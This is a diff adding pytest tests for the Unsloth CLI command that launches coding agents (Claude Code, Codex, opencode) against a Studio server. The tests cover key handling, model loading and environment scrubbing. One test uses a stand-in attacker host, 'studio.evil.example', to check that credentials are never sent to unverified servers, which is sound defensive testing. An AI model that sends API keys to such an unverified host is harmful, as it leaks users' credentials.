+    assert result.exit_code == 0, result.output
+    assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" not in result.output
+    assert "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE" not in result.output
+
+
+def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+
+    def run(command, env):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["claude"])
+
+    assert result.exit_code == 0, result.output
+    assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]]
+    assert "ANTHROPIC_API_KEY" not in captured["env"]
+    assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"]
+    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
+    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
+    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
+    assert captured["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
+    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
+)
+def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
+    monkeypatch.setattr(
+        start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
+    )
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+
+    def run(command, env):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["claude"])
+
+    assert result.exit_code == 0, result.output
+    assert captured["command"] == [
+        "/mnt/c/Users/samle/AppData/Roaming/npm/claude",
+        "--model",
+        MODEL["id"],
+    ]
+    assert captured["env"]["ANTHROPIC_API_KEY"] == ""
+    assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == ""
+    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
+    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
+    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
+    for name in (
+        "ANTHROPIC_AUTH_TOKEN",
+        "ANTHROPIC_BASE_URL",
+        "ANTHROPIC_MODEL",
+        "ANTHROPIC_API_KEY",
+        "CLAUDE_CODE_OAUTH_TOKEN",
+    ):
+        assert name in captured["env"]["WSLENV"].split(":")
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
+    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
+)
+def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch):
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(
+        start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
+    )
+
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+
+    assert result.exit_code == 0, result.output
+    assert "export ANTHROPIC_API_KEY=" in result.output
+    assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output
+    assert "export WSLENV=" in result.output
+    assert "ANTHROPIC_AUTH_TOKEN" in result.output
+    assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output
+
+
+def test_connect_codex_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    assert "codex --oss --profile unsloth_api" in result.output
+    # Config lands in the session-scoped CODEX_HOME, not the user's ~/.codex.
+    home = tmp_path / "agents" / "codex"
+    _assert_env_set(result.output, "CODEX_HOME", str(home))
+    assert (home / "config.toml").exists()
+    assert (home / "unsloth_api.config.toml").exists()
+
+
+def test_connect_codex_matches_requested_model_case_insensitively(fake_studio, tmp_path):
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "codex",
+            "--no-launch",
+            "--model",
+            "unsloth/gemma-4-26b-a4b-it-gguf",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    home = tmp_path / "agents" / "codex"
+    profile = _parse_toml((home / "unsloth_api.config.toml").read_text())
+    assert profile["model"] == MODEL["id"]
+
+
+def test_resolve_model_matches_loaded_canonical_case_after_load(monkeypatch):
+    calls = []
+    state = {"loaded": False}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url, payload))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [
+                    {
+                        "id": "unsloth/gemma-4-E2B-it-GGUF" if state["loaded"] else "other/model",
+                        "context_length": 131072,
+                    }
+                ]
+            }
+        if url.endswith("/api/inference/load"):
+            state["loaded"] = True
+            return {"model": "unsloth/gemma-4-E2B-it-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model(
+        BASE,
+        "sk-test",
+        "unsloth/gemma-4-e2b-it-gguf",
+        start.LoadOptions(gguf_variant = "UD-Q4_K_XL"),
+    )
+
+    assert entry["id"] == "unsloth/gemma-4-E2B-it-GGUF"
+    assert any(c[1].endswith("/api/inference/load") for c in calls)
+
+
+def test_resolve_model_loads_when_catalog_hit_is_not_loaded(monkeypatch):
+    # A cached-but-unloaded catalog entry (loaded == False) that only case-differs must
+    # not be treated as ready; the load endpoint must still be called so the requested
+    # model becomes resident instead of the agent preflighting a different backend.
+    calls = []
+    state = {"loaded": False}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [
+                    {
+                        "id": "unsloth/Gemma-4-GGUF",
+                        "loaded": state["loaded"],
+                        "context_length": 131072,
+                    }
+                ]
+            }
+        if url.endswith("/api/inference/load"):
+            state["loaded"] = True
+            return {"model": "unsloth/Gemma-4-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model(BASE, "sk-test", "unsloth/gemma-4-gguf")
+
+    assert entry["id"] == "unsloth/Gemma-4-GGUF"
+    assert any(u.endswith("/api/inference/load") for _, u in calls)
+
+
+def test_resolve_model_attaches_to_loaded_catalog_hit_without_reload(monkeypatch):
+    # The mirror case: a loaded entry (loaded == True) that case-matches attaches with
+    # no /api/inference/load call.
+    calls = []
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [{"id": "unsloth/Gemma-4-GGUF", "loaded": True, "context_length": 131072}]
+            }
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model(BASE, "sk-test", "unsloth/gemma-4-gguf")
+
+    assert entry["id"] == "unsloth/Gemma-4-GGUF"
+    assert not any(u.endswith("/api/inference/load") for _, u in calls)
+
+
+def test_resolve_model_remote_studio_does_not_casefold_attach(monkeypatch):
+    # Against a remote Studio the local existence probe cannot see server-side paths,
+    # so a case-variant loaded id must NOT attach without a load: it could be a distinct
+    # server-side path on a case-sensitive host. The load endpoint resolves the request.
+    calls = []
+    state = {"loaded": False}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [{"id": "unsloth/Gemma-4-GGUF", "loaded": True, "context_length": 131072}]
+            }
+        if url.endswith("/api/inference/load"):
+            state["loaded"] = True
+            return {"model": "unsloth/Gemma-4-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model("http://10.0.0.5:8888", "sk-test", "unsloth/gemma-4-gguf")
+
+    # The load endpoint was consulted (no casefold shortcut), and we still attach to the
+    # server's canonical id it reports back.
+    assert entry["id"] == "unsloth/Gemma-4-GGUF"
+    assert any(u.endswith("/api/inference/load") for _, u in calls)
+
+
+def test_model_id_matching_does_not_casefold_local_paths(tmp_path):
+    existing_local = tmp_path / "Org" / "Foo"
+    existing_local.mkdir(parents = True)
+
+    assert start._model_id_matches("Org/Foo", "org/foo")
+    assert not start._model_id_matches(str(existing_local), str(existing_local).lower())
+    assert not start._model_id_matches("./Models/Foo", "./models/foo")
+    assert not start._model_id_matches(r".\Models\Foo", r".\models\foo")
+    # A server-side relative path (extra path segments) is not a hub id even when it
+    # does not exist on the CLI host, so it must not casefold-match a differently
+    # cased path on a case-sensitive server filesystem.
+    assert not start._is_hub_model_id("models/Llama/Foo.gguf")
+    assert not start._model_id_matches("models/Llama/Foo.gguf", "models/llama/foo.gguf")
+    # A genuine two-segment hub id still matches case-insensitively.
+    assert start._is_hub_model_id("unsloth/Gemma-3-4b-it-GGUF")
+    assert start._model_id_matches("unsloth/Gemma-3-4b-it-GGUF", "unsloth/gemma-3-4b-it-gguf")
+    # Casefolding is gated to loopback studios (allow_casefold). With it disabled (a
+    # remote studio, where a two-segment string could be a server-side path), even a
+    # genuine hub-id case variant must not match, so the load endpoint resolves it.
+    assert not start._model_id_matches(
+        "unsloth/Gemma-3-4b-it-GGUF", "unsloth/gemma-3-4b-it-gguf", allow_casefold = False
+    )
+    assert start._model_id_matches("unsloth/Foo", "unsloth/Foo", allow_casefold = False)
+
+
+def test_connect_codex_launch_uses_ephemeral_home(fake_studio, monkeypatch):
+    # Launch mode writes config to a throwaway temp CODEX_HOME and removes it after
+    # the agent exits; the user's real ~/.codex is never the target.
+    captured = {}
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+
+    def run(command, env):
+        captured["home"] = env["CODEX_HOME"]
+        captured["config_present"] = (Path(env["CODEX_HOME"]) / "config.toml").exists()
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["codex"])
+    assert result.exit_code == 0, result.output
+    home = Path(captured["home"])
+    assert captured["config_present"]  # config existed while codex ran
+    assert "unsloth-codex-" in home.name  # an ephemeral temp dir, not ~/.codex
+    assert not home.exists()  # cleaned up after the agent exits
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "the #6547 CI parser is bash-only; on Windows --no-launch prints PowerShell",
+)
+def test_no_launch_output_is_parseable(fake_studio):
+    # Mirror the #6547 CI parser: status lines, then `export`/`unset`, then exactly
+    # one launch command on the last line (now an inline-env one-liner, so the parser
+    # matches by substring rather than prefix).
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    lines = [ln for ln in result.output.splitlines() if ln.strip()]
+    skip = ("export ", "unset ", "Studio ", "Updated ", "Disabled ", "Warning", "Loading")
+    body = [ln for ln in lines if not ln.startswith(skip)]
+    assert "codex --oss --profile unsloth_api" in body[-1]
+    assert any(ln.startswith("export CODEX_HOME=") for ln in lines)
+
+
+def test_no_launch_last_line_is_self_contained(fake_studio, tmp_path):
+    # People copy just the last line. A bare `codex` there would run against the user's
+    # real ~/.codex (e.g. a pre-existing damaged state DB) with zero isolation, so the
+    # last line must inline every session env var ahead of the command.
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    last = [ln for ln in result.output.splitlines() if ln.strip()][-1]
+    parts = shlex.split(last)
+    assignments = {}
+    command = []
+    for i, part in enumerate(parts):
+        if "=" not in part:
+            command = parts[i:]
+            break
+        name, _, value = part.partition("=")
+        assignments[name] = value
+    assert command and command[0] == "codex"
+    assert assignments["CODEX_HOME"] == str(tmp_path / "agents" / "codex")
+    assert assignments["UNSLOTH_STUDIO_AUTH_TOKEN"].startswith("sk-unsloth-")
+
+
+def test_no_launch_claude_last_line_blanks_conflicting_auth(fake_studio):
+    # The unset vars must be neutralized inline too, or a partial copy would send the
+    # user's own ANTHROPIC_API_KEY to the Studio base.
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    last = [ln for ln in result.output.splitlines() if ln.strip()][-1]
+    assert "ANTHROPIC_API_KEY= " in last
+    assert "CLAUDE_CODE_OAUTH_TOKEN= " in last
+    assert "ANTHROPIC_AUTH_TOKEN=" in last  # the real key still applied after the blanks
+
+
+def test_opencode_inline_config_beats_project_config(fake_studio):
+    # A project's opencode.json outranks OPENCODE_CONFIG, so the model pin (and --yolo
+    # permissions) ride in OPENCODE_CONFIG_CONTENT, which outranks project config.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--yolo"])
+    assert result.exit_code == 0, result.output
+    inline = _opencode_inline_config(result.output)
+    assert inline["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    assert inline["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
+    assert "sk-unsloth" not in result.output  # key stays in the private file, not the env
+
+
+def test_opencode_inline_config_omits_permission_without_yolo(fake_studio):
+    # A non-yolo session carries no permission inline. OPENCODE_CONFIG_CONTENT outranks the
+    # project opencode.json we cannot read, so forcing any value there would override the
+    # user's project rules; clearing our own config is the fix, and the inline pins the model.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    inline = _opencode_inline_config(result.output)
+    assert inline["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    assert "permission" not in inline
+
+
+def test_https_loopback_never_auto_serves(fake_studio, monkeypatch):
+    # `unsloth run` serves plain HTTP; auto-serving behind an https:// target would poll
+    # the wrong scheme until the startup timeout. Keep the plain "no server" error.
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "https://127.0.0.1:8443")
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {"called": False}
+    monkeypatch.setattr(
+        start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True)
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"])
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+    assert started["called"] is False
+
+
+def test_connect_alias_still_works(fake_studio):
+    # `unsloth connect` remains a compat alias for `unsloth start`.
+    from unsloth_cli import app
+
+    result = CliRunner().invoke(app, ["connect", "claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+
+
+def test_connect_key_minted_once_then_cached(fake_studio, tmp_path):
+    CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    # First run mints; second reuses the minted key cached for this server.
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert len(mints) == 1
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
+
+
+def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path):
+    CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    # Reused, not re-minted (a mint would return the feedface stand-in).
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    # An explicit key is remembered as "saved" so it replays without the handshake.
+    assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"]
+
+
+def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch):
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(
+        json.dumps(
+            {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}}
+        )
+    )
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-stale":
+            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    # The working key moves to the front so the next run tries it first.
+    cached = json.loads(cache.read_text())
+    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"]
+
+
+def test_connect_saved_key_server_outage_surfaces_not_reminted(fake_studio, tmp_path, monkeypatch):
+    # A 5xx/timeout while checking a saved key is a server outage, not a rejected key:
+    # surface it instead of discarding the key and minting a new one against a sick server.
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-saved"]}}}))
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-saved":
+            raise urllib.error.HTTPError(url, 503, "Service Unavailable", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code != 0, result.output
+    # The outage did not cause a fresh key to be minted.
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert mints == []
+
+
+def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path):
+    # Legacy unscoped caches have no server binding (could leak across servers),
+    # so they're ignored: a fresh key is minted and stored scoped to this server.
+    (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"}))
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
+    assert "key" not in cached  # legacy field collapsed away
+
+
+def test_connect_model_flag_loads_on_server(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"]
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"})
+    ]
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B")
+
+
+def test_connect_model_flag_forwards_load_options(fake_studio):
+    # The model-load knobs mirrored from `unsloth run` reach /api/inference/load.
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "claude",
+            "--no-launch",
+            "--model",
+            "unsloth/Qwen3-4B-GGUF",
+            "--gguf-variant",
+            "UD-Q4_K_XL",
+            "--context-length",
+            "8192",
+            "--no-load-in-4bit",
+            "--tensor-parallel",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {
+                "model_path": "unsloth/Qwen3-4B-GGUF",
+                "gguf_variant": "UD-Q4_K_XL",
+                "max_seq_length": 8192,
+                "load_in_4bit": False,
+                "tensor_parallel": True,
+            },
+        )
+    ]
+
+
+def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch):
+    # Studio registers a loaded model under a canonical id (resolved identifier
+    # / casing) that can differ from the path we passed. The agent must connect
+    # to that model, not silently fall through to the first loaded one.
+    requested = "Unsloth/Qwen3.5-35B-A3B"
+    canonical = "unsloth/Qwen3.5-35B-A3B"
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/load"):
+            return {"model": canonical, "display_name": canonical}
+        if url.endswith("/v1/models"):
+            # Decoy sorts first, so models[0] is the wrong pick on the old code.
+            return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", requested])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical)
+
+
+@pytest.mark.parametrize(
+    "model, expected",
+    [
+        ("unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL", ("unsloth/Qwen3-1.7B-GGUF", "UD-Q4_K_XL")),
+        ("unsloth/gemma-4-E2B-it-GGUF:Q8_0", ("unsloth/gemma-4-E2B-it-GGUF", "Q8_0")),
+        ("unsloth/Qwen3-1.7B-GGUF", ("unsloth/Qwen3-1.7B-GGUF", None)),  # no suffix
+        ("/models/local.gguf", ("/models/local.gguf", None)),  # absolute path
+        ("./rel.gguf", ("./rel.gguf", None)),  # relative path
+        ("C:\\models\\x.gguf", ("C:\\models\\x.gguf", None)),  # Windows drive
+        ("repo:with/slash", ("repo:with/slash", None)),  # slash in variant -> not a variant
+        ("", ("", None)),
+    ],
+)
+def test_split_repo_variant(model, expected):
+    assert start._split_repo_variant(model) == expected
+
+
+def test_connect_model_bare_id_matches_loaded_without_reload(fake_studio):
+    # A bare `--model <loaded repo>` (no load knobs) attaches to the already-loaded model
+    # without touching /api/inference/load, so it can never evict another session.
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", MODEL["id"]])
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == []
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+
+
+def test_connect_model_variant_suffix_defers_to_server_dedup(fake_studio):
+    # `--model repo:QUANT` splits into a VALID load payload (bare repo + gguf_variant),
+    # never the `:`-suffixed repo id Studio rejects. The variant knob defers to
+    # /api/inference/load, whose already-loaded dedup answers without reloading when the
+    # active variant+settings match -- so a second session running the same command
+    # attaches without evicting the first, while a genuinely different quant reloads.
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--no-launch", "--model", MODEL["id"] + ":UD-Q4_K_XL"]
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {"model_path": MODEL["id"], "gguf_variant": "UD-Q4_K_XL"},
+        )
+    ]
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+
+
+def test_connect_load_knobs_reach_server_even_when_id_loaded(fake_studio):
+    # /v1/models can't reveal the active quant, so an id match alone would silently keep
+    # the wrong variant loaded. Explicit knobs must always consult the load endpoint.
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--model", MODEL["id"], "--gguf-variant", "Q8_0"],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        ("POST", f"{BASE}/api/inference/load", {"model_path": MODEL["id"], "gguf_variant": "Q8_0"})
+    ]
+
+
+def test_connect_model_variant_suffix_loads_split_repo(fake_studio):
+    # When the model is not already loaded, the `:QUANT` suffix becomes the gguf_variant
+    # and the load uses the bare (valid) repo id, mirroring `unsloth run repo --gguf-variant`.
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--model", "unsloth/Qwen3-4B-GGUF:UD-Q4_K_XL"],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"},
+        )
+    ]
+
+
+def test_connect_explicit_gguf_variant_wins_over_suffix(fake_studio):
+    # An explicit --gguf-variant takes precedence; the suffix is still stripped so the
+    # repo id stays valid.
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "claude",
+            "--no-launch",
+            "--model",
+            "unsloth/Qwen3-4B-GGUF:Q8_0",
+            "--gguf-variant",
+            "UD-Q4_K_XL",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        (
+            "POST",
+            f"{BASE}/api/inference/load",
+            {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"},
+        )
+    ]
+
+
+def test_connect_no_model_loaded_errors(fake_studio, monkeypatch):
+    monkeypatch.setattr(
+        start,
+        "_http_json",
+        lambda method, url, token, payload = None, timeout = 30, error = None: (
+            {"key": "sk-unsloth-feedfacefeedface"}
+            if url.endswith("/api/auth/api-keys")
+            else {"object": "list", "data": []}
+        ),
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "No model is loaded" in result.output
+
+
+def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch):
+    # Studio never surfaces the requested model; fail loudly rather than
+    # silently connecting to whatever else happens to be loaded.
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/load"):
+            return {}
+        if url.endswith("/v1/models"):
+            return {"object": "list", "data": [MODEL]}  # decoy; request never appears
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"]
+    )
+    assert result.exit_code == 1
+    assert "unsloth/Missing-7B" in result.output
+
+
+def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch):
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 1
+    assert "GGUF" in result.output
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+
+
+def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch):
+    # A server known only by URL + health check is unverified: keyless connect
+    # must refuse and make no request at all.
+    monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.evil.example:8888")
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 1
+    assert "Settings → API" in result.output
+    assert "--api-key" in result.output
+    assert fake_studio == []  # no HTTP request of any kind (no mint, no /v1/models)
+
+
+def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch):
+    # User named both server and key, so it's their choice; only auto-send is blocked.
+    monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.example:8888")
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+
+
+def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch):
+    # A key saved for a remote (non-loopback) Studio is replayed on keyless runs;
+    # auto-minting stays blocked for non-loopback.
+    remote = "http://studio.example:8888"
+    monkeypatch.setattr(start, "find_studio_server", lambda: remote)
+    (tmp_path / "agent_api_key.json").write_text(
+        json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
+
+
+def test_connect_studio_server_errors_on_explicit_remote(monkeypatch):
+    # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an
+    # error, not a silent local model load (which they did not ask for).
+    import typer
+
+    import unsloth_cli._inference as inference
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://studio.example:8888")
+    monkeypatch.setattr(
